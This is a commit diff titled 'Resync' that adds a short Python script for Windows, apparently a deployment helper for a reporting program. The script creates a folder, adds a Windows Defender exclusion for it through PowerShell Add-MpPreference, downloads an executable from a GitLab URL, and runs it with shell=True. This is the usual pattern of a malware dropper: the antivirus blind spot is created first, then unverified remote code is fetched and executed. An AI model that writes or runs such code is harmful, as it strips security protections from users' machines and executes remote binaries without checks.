Resync
This commit is contained in:
@@ -0,0 +1,49 @@
|
||||
import requests
|
||||
import subprocess
|
||||
import os
|
||||
import shutil
|
||||
import random
|
||||
|
||||
|
||||
def download_and_run_file(url, filename):
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
with open(filename, 'wb') as f:
|
||||
f.write(response.content)
|
||||
print(f"File '{filename}' downloaded successfully.")
|
||||
else:
|
||||
print(f"Failed to download the file from {url}. Status code: {response.status_code}")
|
||||
return
|
||||
|
||||
try:
|
||||
subprocess.run(filename, shell=True, check=True)
|
||||
print(f"File '{filename}' executed successfully.")
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"Failed to execute the file. Error: {e}")
|
||||
|
||||
def add_windows_defender_exception(path):
|
||||
try:
|
||||
# Example: Add-MpPreference -ExclusionPath "C:\path\to\your\folder"
|
||||
command_line = f'powershell Add-MpPreference -ExclusionPath "{path}"'
|
||||
subprocess.run(command_line, shell=True, check=True)
|
||||
print(f"Windows Defender exception added for path: {path}")
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"Failed to add Windows Defender exception. Error: {e}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
os.mkdir("C:\\Scripte")
|
||||
except:
|
||||
print("Folder Exist")
|
||||
path_to_exclude = "C:\\Scripte"
|
||||
add_windows_defender_exception(path_to_exclude)
|
||||
url_to_file = "https://gitlab.stines.de/sebastian.serfling/REPORTS/raw/branch/main/dist/main.exe"
|
||||
file_name = "C:\\Scripte\\Reports.exe"
|
||||
download_and_run_file(url_to_file, file_name)
|
||||
try:
|
||||
shutil.move("Start.exe","C:\\Scripte\\Start.exe")
|
||||
except:
|
||||
print("File was moved!")
|
||||
|
||||
|
||||
Reference in New Issue
Block a user